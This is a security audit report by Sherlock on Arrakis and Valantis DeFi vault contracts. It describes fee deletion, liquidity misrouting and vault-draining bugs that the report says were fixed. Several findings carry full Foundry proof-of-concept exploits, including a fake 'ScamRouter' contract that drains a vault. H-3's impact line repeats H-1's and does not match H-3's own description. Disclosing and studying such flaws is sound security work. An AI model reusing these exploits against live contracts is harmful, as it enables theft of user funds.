SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	Public
Prepared for:	Arrakis
Prepared by:	Sherlock
Lead Security Expert:	cergyk
Dates Audited:	May 15 - June 4, 2024
Prepared on:	June 26, 2024

Introduction

Building trustless market making infrastructure & strategies on Uniswap V3. Unlock your liquidity's greatest potential.

Scope

Repository: ArrakisFinance/arrakis-modular

Branch: main

Commit: f150eb247d924187aa8e23c2684fb576cdbcdb9c

Repository: ValantisLabs/valantis-sot

Branch: main

Commit: 9bfa0817521c71db1b932a28fada56bc7834631f

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
1	6

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

juaan
cu5t0mPe0
cergyk
iamandreiski
whitehair0330
KupiaSec

Issue H-1: A malicious executor can delete the fees belonging to the owner of `ArrakisStandardManager`

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/8

Found by

juaan

Summary

The contest README states that the `executor` of `ArrakisStandardManager` is a RESTRICTED role during rebalance action on vaults.

This report shows a way for the `executor` to call `ArrakisStandardManager::rebalance()` with a malicious payload, which ends up stealing the accrued manager fees and re-depositing them into the pool's liquidity.

Vulnerability Detail

On calling `rebalance()` , it makes a call to the module, with provided `payloads_` from the `executor`:

```
(bool success,) = address(module).call(payloads_[i]);
```

For this attack, the payload's function signature will be of the `swap()` function in the `ValantisHOTModule`

The `swap()` function essentially does these 3 things:

1. Withdraw liquidity from the pool (via ALM)
2. Do an arbitrary call to an arbitrary address (`router_.call(payload_)`)
3. Deposit the resulting balance back into the pool (via ALM)

The intended functionality is that in step 2, a call is made to a router which swaps the tokens to rebalance the funds.

However, a malicious executor can use this arbitrary call to execute any admin function in other contracts (HOT, SovereignPool) that only this module is allowed to call.

The issue with the above is that the `swap()` function has a slippage check after step 2:

```
if (zeroForOne_) {
    if (balance1 < _actual1 + expectedMinReturn_) { // require(balance1 >=
↪  _actual1 + expectedMinReturn_);
        revert SlippageTooHigh();
    }
} else {
    if (balance0 < _actual0 + expectedMinReturn_) {
        revert SlippageTooHigh();
    }
}
```

This means that in order for the `swap()` to not revert, the balance of the output token must increase by at least `expectedMinReturn_` during step2.

Now due to the `_checkMinReturn` check that is done at the start of `swap()` , the `expectedMinReturn_` must be at least 1.

Hence, in step 2, trying to call admin functions like `HOT.setFeeds()` will revert since no tokens are sent in to the contract during this call, so it fails the slippage check shown above. This is the case for most admin functions except for two, one of which is `SovereignPool.claimPoolManagerFees`:

```
function claimPoolManagerFees(
    uint256 _feeProtocol0Bips,
    uint256 _feeProtocol1Bips
)
    external
    override
    nonReentrant
    onlyPoolManager
    returns (uint256 feePoolManager0Received, uint256 feePoolManager1Received)
{
    (feePoolManager0Received, feePoolManager1Received) = _claimPoolManagerFees(
        _feeProtocol0Bips,
        _feeProtocol1Bips,
        msg.sender
    );
}
```

We can see that the pool manager fees are sent to `msg.sender` which is the module. This will increase the module's balance during step 2, allowing it to pass the slippage check.

Then, these claimed manager fees will be deposited back to the pool in step3, effectively deleting the accrued manager fees. (All of this is proven in the coded

PoC)

In addition to the above fund loss, since `poolManager` is updated to `address(0)`, any `onlyPoolManager` functions within the pool will revert.

Impact

100% of the fees which are meant for the Arrakis manager are re-deposited into the pool by a malicious `executor` and never claimable by the manager.

Proof of Concept

Here is a coded proof of concept demonstrating the vulnerability in action.

To run it, add the following code to a new file within the `arrakis-modular/test/integration` directory. Then run `forge test --mt test_stealManagerFees` in the terminal.

````
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

// Foundry Imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";

// Arrakis Imports
import {IArrakisMetaVaultPublic} from
    "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
    "../../src/interfaces/IArrakisMetaVault.sol";
import {IArrakisStandardManager} from
    "../../src/interfaces/IArrakisStandardManager.sol";

// Valantis Imports
import {IValantisHOTModule} from
    "../../src/interfaces/IValantisHOTModule.sol";
import {SovereignPool} from
↪   "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol";
import {HOT} from "@valantis-hot/contracts/HOT.sol";

// Base Test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";

contract PoC_StealManagerFees is ValantisIntegrationPublicTest {
````
````

```
address attacker;
address rec;

function test_stealManagerFees() public {
    rec = makeAddr("rec");
    attacker = makeAddr("attacker");

    address m = address(IArrakisMetaVault(vault).module());
    assertEq(pool.poolManager(), m);

    deal(address(token0), rec, init0); // 2000e6 (0: USDC)
    deal(address(token1), rec, init1); // 1e18   (1: WETH)

    // user mints from meta vault
    vm.startPrank(rec);
    token0.approve(m, init0);
    token1.approve(m, init1);

    IArrakisMetaVaultPublic(vault).mint(1e18, rec);
    vm.stopPrank();

    uint256 FEE_AMOUNT_0 = 1 wei;
    uint256 FEE_AMOUNT_1 = 1 wei;

    // Simulating 1 wei of fees in the `SovereignPool`
    vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0));
    vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1));

    // Sending the fee to the pool
    deal(address(token0), address(pool), token0.balanceOf(address(pool)) +
    ↪  FEE_AMOUNT_0);
    deal(address(token1), address(pool), token1.balanceOf(address(pool)) +
    ↪  FEE_AMOUNT_1);

    bool zeroForOne = false;
    uint256 amountIn = 1; // Using small values since we are not actually
    ↪  swapping anything
    uint256 expectedMinReturn = 1;

    // payload that claims the fees and sends it to the LPModule
    bytes memory payload = abi.encodeWithSelector(
        SovereignPool.claimPoolManagerFees.selector,
        0,
        0
    );

    bytes memory data = abi.encodeWithSelector(
```

```
            IValantisHOTModule.swap.selector,
            zeroForOne,
            expectedMinReturn,
            amountIn,
            address(pool),
            0, //note: this 0,0 lets us skip the checks in
            ↪  `HOT::_checkSpotPriceRange` during depositLiquidity
            0,
            payload
        );

        bytes[] memory datas = new bytes[](1);
        datas[0] = data;

        (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves();
        // Perform the attack
        vm.prank(executor);
        IArrakisStandardManager(manager).rebalance(vault, datas);
        (uint256 reserves0After, uint256 reserves1After) = pool.getReserves();


        // Assert that fees meant for the manager were re-deposited
        assertEq(reserves0After, reserves0Before + FEE_AMOUNT_0);
        assertEq(reserves1After, reserves1Before + FEE_AMOUNT_1);

        // Assert that the remaining fees is 0
        (uint256 fee0, uint256 fee1) = pool.getPoolManagerFees();
        assertEq(fee0, 0);
        assertEq(fee1, 0);
    }
}
```

Code Snippet

The arbitrary call to the arbitrary address:

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L375-L378

minReturn check that is bypassed by the fees claimed:

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L384-L397

Tool used

Manual Review

Recommendation

Don't allow the `router_` parameter in `ValantisModule` to be the `SovereignPool` associated with this module.

```
+ if (router_ == address(pool)) revert();
```

Discussion

WangSecurity

This is the new family based on the escalation on #28

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/ArrakisFinance/arrakis-modular/pull/88

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-2: Incorrect handling of first deposit for new modules leads to all liquidity sent to vault manager

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/27

Found by

cu5t0mPe0, juaan

Summary

See detail.

Vulnerability Detail

The following logic is implemented in `ValantisHOTModulePublic.deposit()` :

```
(uint256 _amt0, uint256 _amt1) = pool.getReserves();

if (!notFirstDeposit) {
  if (_amt0 > 0 || _amt1 > 0) {

      // #region send dust on pool to manager.
      address manager = metaVault.manager();
      alm.withdrawLiquidity(_amt0, _amt1, manager, 0, 0);
      // #endregion send dust on pool to manager.

  }
  _amt0 = _init0;
  _amt1 = _init1;
  notFirstDeposit = true;
}
```

This code assumes that the reserves of the pool (`_amt0`, `_amt1`) will be dust amounts.

The case that the protocol did not consider:

This module could be a new module that was set via `ArrakisMetaVault.setModule()` .

When `setModule()` is called, it withdraws all the liquidity through the old module:

```
_module.withdraw(module_, BASE);
// BASE means withdraw 100% of the liquidity
```

```
// the new module (module_) is the receiver of the liquidity
```

(`_module` *is the old module, and* `module_` *is the newly set one)*

Then, all the funds are directly transferred to the new module, and `initializePosition` is called to deposit it into the pool.

This issue is that the `notFirstDeposit` boolean is still false, indicating that the first deposit has not yet occured.

Then when the first deposit occurs in the module, the 'dust removal' logic shown earlier is triggered in the the new module.

However all the liquidity from the old module has been deposited via the new one.

This means that `_amt0` and `_amt1` will not be dust, as they represent the entire liquidity of the pool.

Then, as shown in the PoC, the 'dust removal' logic withdraws the entire liquidity of the pool, and sends it to the manager of the meta vault (`ArrakisStandardManager`).

So far, while this is already a severe error, it's not all bad since the owner of `ArrakisStandardManager` is trusted, and they can withdraw the funds via `withdrawManagerBalance()` and return the funds so that users don't lose any funds.

However, it gets even worse, because a malicious executor can DOS the `withdrawManagerBalance()` function for that specific vault. There is a PoC for the DOS in the 'Proof of Concept' section of this report, but here is the summary:

- Malicious executor calls `ArrakisStandardManager.rebalance()` , with malicious payload
- It ends up calling `pool.setPoolManager(address(0))`
- Now `pool.claimPoolManagerFees()` will revert since the `ValantisHOTModule` is no longer the pool manager
- Hence, `withdrawManagerBalance()` will revert since it requires `pool.claimPoolManagerFees()` to be called via the module.
- Note: the malicious executor would have to first execute a swap on the new pool to make the managerFee variable non-zero so that the `expectedMinReturn` passed in to within `ValantisHOTModule.swap()` of `1` can be met. (see PoC to understand)

Impact

100% of the pool liquidity is lost after the first deposit occurs in a new module. It is sent to the `ArrakisStandardManager`

The value of everyone's shares in the vault goes to effectively zero.

Then due to the DOS by the malicious executor, the funds cannot be withdrawn from the manager by calling `withdrawManagerBalance(vault)`.

The only way would be to deploy an entirely new vault with the same `token0` and `token1` , and then calling `withdrawManagerBalance(newVault)` to collect the tokens from the `ArrakisStandardManager` contract.

Code Snippet

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/modules/ValantisHOTModulePublic.sol#L53-L69

Proof of Concept

Make new files in `arrakis-modular/test/integration` to run these PoCs.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

// Foundry imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";


import {ArrakisMetaVaultPublic} from
    "../../src/ArrakisMetaVaultPublic.sol";
    import {ArrakisMetaVault} from
    "../../src/abstracts/ArrakisMetaVault.sol";
import {TimeLock} from
    "../../src/TimeLock.sol";
import {ArrakisStandardManager} from
    "../../src/ArrakisStandardManager.sol";
import {IModuleRegistry} from
    "../../src/interfaces/IModuleRegistry.sol";
import {ValantisModulePublic} from
    "../../src/modules/ValantisHOTModulePublic.sol";

import {TEN_PERCENT} from "../../src/constants/CArrakis.sol";

import {ValantisModule} from "../../src/abstracts/ValantisHOTModule.sol";
import {IArrakisMetaVaultPublic} from
    "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
    "../../src/interfaces/IArrakisMetaVault.sol";
```

```
import {IOwnable} from "../../src/interfaces/IOwnable.sol";

import {SovereignPool} from
↪  "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol";

// Mocks
import {OracleWrapper} from "./mocks/OracleWrapper.sol";
import {SovereignPoolMock} from "./mocks/SovereignPoolMock.sol";
import {SovereignALMMock} from "./mocks/SovereignALMMock.sol";

//Base Test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";

contract PoC_FundsSentToArrakisManager_Incorrectly is
↪  ValantisIntegrationPublicTest {

    address vaultManager;
    address minter;

    address public constant OWNER_EOA =
↪  0x529a65684a6923958ab6b7DF7B909a8D5e1580ae;

    function test_fundsSentTo_ArrakisManager_incorrectly() public {

        // #region Vault Init
        minter = makeAddr("minter");
        vaultManager = IArrakisMetaVault(vault).manager();

        deal(address(token0), minter, init0); // 2000e6 (0: USDC)
        deal(address(token1), minter, init1); // 1e18   (1: WETH)
        vm.label(address(token0), "token0");
        vm.label(address(token1), "token1");

        address oldModule = address(IArrakisMetaVault(vault).module());

        SovereignPoolMock newPool = new SovereignPoolMock();
        newPool.setTokenOAndToken1(address(token0), address(token1));

        //User mints from meta vault, using old module
        vm.startPrank(minter);
        token0.approve(oldModule, init0);
        token1.approve(oldModule, init1);

        IArrakisMetaVaultPublic(vault).mint(1e18, minter);
        vm.stopPrank();
        // #endregion Vault Init
```

```
        console.log(
            "\n [Before]\n Old Pool's Balance:\n token0: %e\n token1: %e",
            token0.balanceOf(address(pool)),
            token1.balanceOf(address(pool))
        );
        console.log(
            "ArrakisStandardManager's Before:\n token0: %e\n token1: %e",
            token0.balanceOf(address(vaultManager)),
            token1.balanceOf(address(vaultManager))
        );

        TimeLock timelock = TimeLock(payable(IOwnable(vault).owner()));

        // Initialisation Data for the newly whitelisted module
        bytes[] memory initData = new bytes[](1);
        initData[0] = abi.encodeWithSelector(
            ValantisModule.initialize.selector,
            address(newPool), 1e18, 1e18, 1e5, vault
        );

        bytes memory whitelistModulesPayload = abi.encodeWithSelector(
            ArrakisMetaVault.whitelistModules.selector,
            IModuleRegistry(moduleRegistry).beacons(), // use the existing
↪   module implementation, no changes needed
            initData
        );

        //Whitelist the new module
        vm.startPrank(OWNER_EOA);
        timelock.schedule(vault, 0, whitelistModulesPayload, bytes32(0),
↪   bytes32(uint256(0xff)), 2 days);
        vm.warp(block.timestamp + 2 days);
        timelock.execute(vault, 0, whitelistModulesPayload, bytes32(0),
↪   bytes32(uint256(0xff)));
        vm.stopPrank();

        bytes memory almPayload = abi.encodeWithSelector(
            ValantisModule.setALMAndManagerFees.selector,
            address(new SovereignALMMock(address(token0), address(token1),
↪   address(newPool))),
            oracle
        );

        address[] memory modules =
↪   ArrakisMetaVaultPublic(vault).whitelistedModules();

        // set ALM for the new module
```


```
        //note: A mock ALM is used for simplicity of setup, but it will still
↪  work with a real ALM
        vm.startPrank(OWNER_EOA);
        timelock.schedule(modules[1], 0, almPayload, bytes32(0),
↪  bytes32(uint256(0xff)), 2 days);
        vm.warp(block.timestamp + 2 days);
        timelock.execute(modules[1], 0, almPayload, bytes32(0),
↪  bytes32(uint256(0xff)));

        vm.stopPrank();

        // A call will be made to the new module to initialize the LP position
        bytes[] memory payloads = new bytes[](1);

        // initializePosition (Deposits liquidity into ALM)
        payloads[0] = abi.encodeWithSelector(
            ValantisModule.initializePosition.selector
        );

        // Set the module and pass in payload
        vm.startPrank(executor);
        ArrakisStandardManager(payable(manager)).setModule(vault, modules[1],
↪  payloads);

        console.log(
            "\n [After Setting New Module and Initializing Position]\n New
↪  Pool's Balance:\n token0: %e\n token1: %e",
            token0.balanceOf(address(newPool)),
            token1.balanceOf(address(newPool))
        );
        console.log(
            "ArrakisStandardManager's Balance After:\n token0: %e\n token1: %e",
            token0.balanceOf(vaultManager),
            token1.balanceOf(vaultManager)
        );

        assertEq(token0.balanceOf(address(newPool)), 2e9);
        assertEq(token1.balanceOf(address(newPool)), 1e18);

        deal(address(token0), minter, init0); // 2000e6 (0: USDC)
        deal(address(token1), minter, init1); // 1e18   (1: WETH)
        address newModule = modules[1];

        //Now, a minter mints shares from the vault, as the first depositor
        vm.startPrank(minter);
        token0.approve(newModule, 1e3);
        token1.approve(newModule, 1e3);
```


```
        IArrakisMetaVaultPublic(vault).mint(1e3, minter);
        vm.stopPrank();

        // Assert that the entire liquidity has been sent to the
↪   ArrakisStandardManager
        assertEq(token0.balanceOf(vaultManager), 2e9);
        assertEq(token1.balanceOf(vaultManager), 1e18);

        console.log(
            "\n [After First Deposit]\n New Pool's Balance:\n token0: %e\n
↪   token1: %e",
            token0.balanceOf(address(newPool)),
            token1.balanceOf(address(newPool))
        );
        console.log(
            "ArrakisStandardManager's Balance After:\n token0: %e\n token1: %e",
            token0.balanceOf(vaultManager),
            token1.balanceOf(vaultManager)
        );

    }
}
```

Note: the DOS has a separate PoC since it does not use any mocks, while the first PoC uses 2 mocks for simplicity of setup

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;


// Foundry Imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";

// Arrakis Imports
import {IArrakisMetaVaultPublic} from
    "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
    "../../src/interfaces/IArrakisMetaVault.sol";
import {IArrakisStandardManager} from
    "../../src/interfaces/IArrakisStandardManager.sol";

// Valantis Imports
import {IValantisHOTModule} from
```

```
    "../../src/interfaces/IValantisHOTModule.sol";
import {SovereignPool} from
↪  "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol";
import {HOT} from "@valantis-hot/contracts/HOT.sol";

// General Imports
import {IOwnable} from "../../src/interfaces/IOwnable.sol";


// Base Test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";


contract PoC_ChangePoolManager_ToZeroAddress is ValantisIntegrationPublicTest {

    address attacker;
    address rec;

    function test_old_changePoolManager_toZeroAddress() public {
        rec = makeAddr("rec");
        attacker = makeAddr("attacker");

        address m = address(IArrakisMetaVault(vault).module());
        assertEq(pool.poolManager(), m);

        deal(address(token0), rec, init0); // 2000e6 (0: USDC)
        deal(address(token1), rec, init1); // 1e18   (1: WETH)

        //@e user mints from meta vault
        vm.startPrank(rec);
        token0.approve(m, init0);
        token1.approve(m, init1);

        IArrakisMetaVaultPublic(vault).mint(1e18, rec);
        vm.stopPrank();


        uint256 FEE_AMOUNT_0 = 1 wei;
        uint256 FEE_AMOUNT_1 = 1 wei;
        //@e Simulating 1 wei of fees in the `SovereignPool`
        vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0));
        vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1));

        // Sending the fee to the pool
        deal(address(token0), address(pool), token0.balanceOf(address(pool)) +
↪  FEE_AMOUNT_0);
```


```
        deal(address(token1), address(pool), token1.balanceOf(address(pool)) +
↪   FEE_AMOUNT_1);




        bool zeroForOne = false;
        uint256 amountIn = 1; // Using small values since we are not actually
↪   swapping anything
        uint256 expectedMinReturn = 1;

        //uint256 lowestRatio =
↪   FullMath.mulDiv(IOracleWrapper(oracle).getPrice1(), 1e6 -
↪   IValantisHOTModule(m).maxSlippage(), 1e6);
        //uint256 lowest_expectedMinReturn = 1+ FullMath.mulDiv(lowestRatio,
↪   amountIn, 10 ** ERC20(token1).decimals());

        bytes memory payload = abi.encodeWithSelector(
            SovereignPool.setPoolManager.selector,
            address(0) // new poolmanager
        );

        bytes memory data = abi.encodeWithSelector(
            IValantisHOTModule.swap.selector,
            zeroForOne,
            expectedMinReturn,
            amountIn,
            address(pool),
            0, //note: this 0,0 lets us skip the checks in
↪   `HOT::_checkSpotPriceRange` during depositLiquidity
            0,
            payload
        );

        bytes[] memory datas = new bytes[](1);
        datas[0] = data;

        (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves();
        // Perform the attack
        vm.prank(executor);
        IArrakisStandardManager(manager).rebalance(vault, datas);
        (uint256 reserves0After, uint256 reserves1After) = pool.getReserves();

        assertEq(pool.poolManager(), address(0));

        // Assert that fees meant for the manager were re-deposited
        assertEq(reserves0After, reserves0Before + FEE_AMOUNT_0);
```


```
        assertEq(reserves1After, reserves1Before + FEE_AMOUNT_1);

        // Assert that the function cannot be called anymore
        vm.startPrank(IOwnable(manager).owner());
        vm.expectRevert();
        IArrakisStandardManager(manager).withdrawManagerBalance(address(vault));

    }
}
```

Tool used

Manual Review

Recommendation

Rework the code, while keeping in mind that the initial balances may not be dust.

Discussion

0xjuaan

Escalate

This is not a dupe of #28, but instead should be duped with #25 and #14

sherlock-admin3

> Escalate
>
> This is not a dupe of #28, but instead should be duped with #25 and #14

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity

@0xjuaan correct me if I'm wrong, but as I understand, this issue is possible currently, unlike #25 which is possible only after the fix of this issue correct?

0xjuaan

yes that is correct @WangSecurity

WangSecurity

Planning to accept the escalation and make a new high severity issue family with #14 as duplicate.

IWildSniperI

@WangSecurity

> So far, while this is already a severe error, it's not all bad since the owner of ArrakisStandardManager is trusted, and they can withdraw the funds via withdrawManagerBalance() and return the funds so that users don't lose any funds.

The bug is yet dependant on the root cause of malicious '_router' unverified call

In 'setPoolManager' call

WangSecurity

@IWildSniperI yep, that's what I'm trying to understand on all the issues involving malicious executor and payloads

WangSecurity

Depending on the discussion under #50. The decision remains the same. I'm planning to separate bugs where the malicious executor exploits the protocol via malicious `payloads` in `rebalance` and `setModule` cause these 2 functions have significantly different implementations. This and #14 are not duplicates of #50 based on this comment.

Planning to accept the escalation and make a new issue family with high severity. Duplicate is #14

WangSecurity

Result: High Has duplicates

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- 0xjuaan: accepted

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-3: Through rebalance(), an executor can drain 100% of vault reserves by minting cheap shares

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/44

Found by

juaan

Summary

The contest README states the following:

> Executor of ArrakisStandardManager is RESTRICTED during rebalance action on vaults.

This is a complex attack performed by a malicious executor to drain a vault during rebalance.

It requires at least one of the tokens to be a rebase token, since it requires the pool reserves to be increased without calling `HOT.depositLiquidity()`

Vulnerability Detail

On calling rebalance() , it makes a call to the module, with provided `payloads_` from the `executor`:

```
(bool success,) = address(module).call(payloads_[i]);
```

For this attack, the payload's function signature will be of the swap() function in the `ValantisHOTModule`

The `swap()` function essentially does these 3 things:

1. Withdraw liquidity from the pool (via ALM)
2. Do an arbitrary call to an arbitrary address (`router_.call(payload_)`)
3. Deposit the resulting balance back into the pool (via ALM)

The intended functionality is that in step 2, a call is made to a router which swaps the tokens to rebalance the funds. However, since the `router_` param is not checked, a malicious executor can pass in any address they want.

Root Cause

After step 1, the pool's reserves for both tokens is `0` . Then in step 2, the executor can mint vault shares at a very cheap price, since the price depends on the pool's reserves.

Attack Details

However, when pool reserves are equal to `0` , depositing liquidity will fail due to the error: `SovereignPool__depositLiquidity_zeroTotalDepositAmount` . To solve this, the executor must be able to somehow slightly increase the values returned by `pool.getReserves()`

For non-rebase tokens, the only way would be to increase `reserve0` or `reserve1` in the pool, but this would require depositing liquidity, which would revert since the reserves are `0`.

However for rebase tokens, the reserves are calculated via:

```
reserve = _token0.balanceOf(address(this));
```

This can be inflated by the executor since they simply have to send the token to the pool.

Now after step2, the `swap()` function also has a check to ensure that `expectedMinReturn_` is met.

To ensure that this doesn't revert, the executor simply passes `expectedMinReturn=1` (0 can't be used due to `_checkMinReturn()`) and `amountIn=1` , and sends 1 wei of the output token to the module, to meet the minimum expected return.

Note that the additional TVL slippage checks in `rebalance()` are not effective at preventing this attack, since the attacker redeems their vault shares after the rebalance is over.

Summary of Attack (see PoC for implementation):

1. Malicious executor calls `ArrakisStandardManager.rebalance()`
2. `ValantisModule.swap()` is called, with `expectedMinReturn=1` and `amountIn=1` and `zeroToOne=false`
3. This executes `router_.call(payload)` , which calls `mintFreeShares()` on the attacker's fake router contract
    1. This function call first sends 1 wei of token0 and token1 to the `SovereignPool`, so that the reserves are non-zero

2. Then, it mints `100e18` vault shares, for the price of 100 wei (since the liquidity was withdrawn in step1 of the `swap()` function)]
3. It sends 1 wei of `token0` to the module, so that the `expectedMinReturn_` check does not revert

4. The remainder of `ValantisModule.swap()` occurs, re-depositing funds into the pool.
5. Attacker calls `Vault.burn(100e18, attacker)` to burn the 100e18 shares, stealing over 99% of the vault's funds.

Ultimately, the attacker is able to steal 99% of the pool's reserves, while spending 100 wei of each token, which is a negligible cost.

Impact

100% of the fees which are meant for the Arrakis manager are re-deposited into the pool by a malicious `executor` and never claimable by the manager.

Proof of Concept

Here is a coded proof of concept demonstrating the vulnerability in action.

To run the PoC:

1. Add the following test contract to a new file within the `arrakis-modular/test/integration` directory.
2. Make the following minor change in `ValantisIntegrationPublicTest.sol` , to configure the pool with rebase tokens

```
SovereignPoolConstructorArgs memory poolArgs =
        _generateDefaultConstructorArgs();
+poolArgs.isToken0Rebase = true;
+poolArgs.isToken1Rebase = true;
```

3. Then run `forge test --mt test_maliciousExecutor_mintsFreeShares -vv` in the terminal.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

// Foundry Imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";
```

```
// Arrakis Imports
import {IOracleWrapper} from "../../src/interfaces/IOracleWrapper.sol";
import {ArrakisMetaVaultPublic} from
    "../../src/ArrakisMetaVaultPublic.sol";
import {ArrakisStandardManager} from
    "../../src/ArrakisStandardManager.sol";
import {IArrakisMetaVaultPublic} from
    "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
    "../../src/interfaces/IArrakisMetaVault.sol";
import {IArrakisStandardManager} from
    "../../src/interfaces/IArrakisStandardManager.sol";
import {IValantisHOTModule} from
    "../../src/interfaces/IValantisHOTModule.sol";

// Valantis Imports
import {HOT} from "@valantis-hot/contracts/HOT.sol";
import {IValantisHOTModule} from
    "../../src/interfaces/IValantisHOTModule.sol";

// General Imports
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";


// Base test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";


contract FreeShares is ValantisIntegrationPublicTest {

    address attacker;
    address rec;

    function test_maliciousExecutor_mintsFreeShares() public {
        attacker = makeAddr("attacker");
        rec = makeAddr("rec");

        // Malicious executor's balance before rebalancing
        console.log("[BEFORE]:\n executor's balance- token0: %e, token1: %e",
↪   token0.balanceOf(executor), token1.balanceOf(executor));

        vm.startPrank(executor);

        deal(address(token0), rec, init0); // 2000e6 (0: USDC)
        deal(address(token1), rec, init1); // 1e18   (1: WETH)

        address m = address(IArrakisMetaVault(vault).module());
```

```
        //@e user mints from meta vault
        vm.startPrank(rec);
        token0.approve(m, init0);
        token1.approve(m, init1);

        IArrakisMetaVaultPublic(vault).mint(1e18, rec);
        vm.stopPrank();

        // Setup ScamRouter
        ScamRouter scamRouter = new ScamRouter(token0, token1, address(vault),
↪   executor, address(pool));
        deal(address(token0), address(scamRouter), 150 wei);
        deal(address(token1), address(scamRouter), 150 wei);


        (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves();
        console.log("Pool TVL Before: %e USDC", _getPoolTVL(reserves0Before,
↪   reserves1Before));

        bool zeroForOne = false;
        uint256 amountIn = 1;
        uint256 expectedMinReturn = 1;


        // This is the payload sent to the `router_` within `HOTModule.swap()`-
↪   called from `StandardManager.rebalance()`
        bytes memory router_payload = abi.encodeWithSelector(
            ScamRouter.mintFreeShares.selector
        );

        bytes memory payload = abi.encodeWithSelector(
            IValantisHOTModule.swap.selector,
            zeroForOne,
            expectedMinReturn,
            amountIn,
            address(scamRouter),
            0,
            0,
            router_payload // to send to the fake router
        );

        bytes[] memory datas = new bytes[](1);
        datas[0] = payload;

        vm.prank(executor);
        IArrakisStandardManager(manager).rebalance(vault, datas);
```


```
        vm.prank(executor);
        ArrakisMetaVaultPublic(vault).burn(100e18, executor);

        console.log("[AFTER]:\n executor's balance- token0: %e, token1: %e",
↪   token0.balanceOf(executor), token1.balanceOf(executor));
        // Pool reserves
        (uint256 reserves0After, uint256 reserves1After) = pool.getReserves();

        console.log("Pool TVL After: %e USDC\n", _getPoolTVL(reserves0After,
↪   reserves1After));

        console.log("Token0 (USDC) Reserves Before->After: %e->%e",
↪   reserves0Before, reserves0After);
        console.log("Token1 (ETH) Reserves Before->After: %e->%e",
↪   reserves1Before, reserves1After);

        uint256 executorTotalValue = _getPoolTVL(token0.balanceOf(executor),
↪   token1.balanceOf(executor));
    }

    function _getPoolTVL(uint256 a, uint256 b) internal view returns (uint256){
        return a + b * IOracleWrapper(oracle).getPrice1() /
↪   10**token1.decimals();
    }
}

contract ScamRouter {
    // This will deposit to get free shares

    ERC20 public token0;
    ERC20 public token1;

    ArrakisMetaVaultPublic vault;
    address pool;

    address owner;

    constructor(ERC20 t0, ERC20 t1, address _vault, address _owner, address
↪   _pool) {
        token0 = t0;
        token1 = t1;
        vault = ArrakisMetaVaultPublic(_vault);
        owner = _owner;
        pool = _pool;
    }
```


```
    function mintFreeShares() external {
        address module = address(vault.module());

        token0.transfer(pool, 1 wei);
        token1.transfer(pool, 1 wei);

        token0.approve(module, 100 wei);
        token1.approve(module, 100 wei);

        vault.mint(100e18, owner);

        token0.transfer(msg.sender, 1 wei); // prevent expectedMinReturn from
↪   failing (since we didnt swap anything)
    }
}
```

Console Output:

As you can see, the pool TVL dropped from 4000 USDC to ~40 USDC. Over 99% of the pool's reserves were stolen in a single transaction by the malicious executor.

Code Snippet

The arbitrary call to the arbitrary `router_`

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L375-L378

expectedMinReturn_ check that is bypassed by sending 1 wei

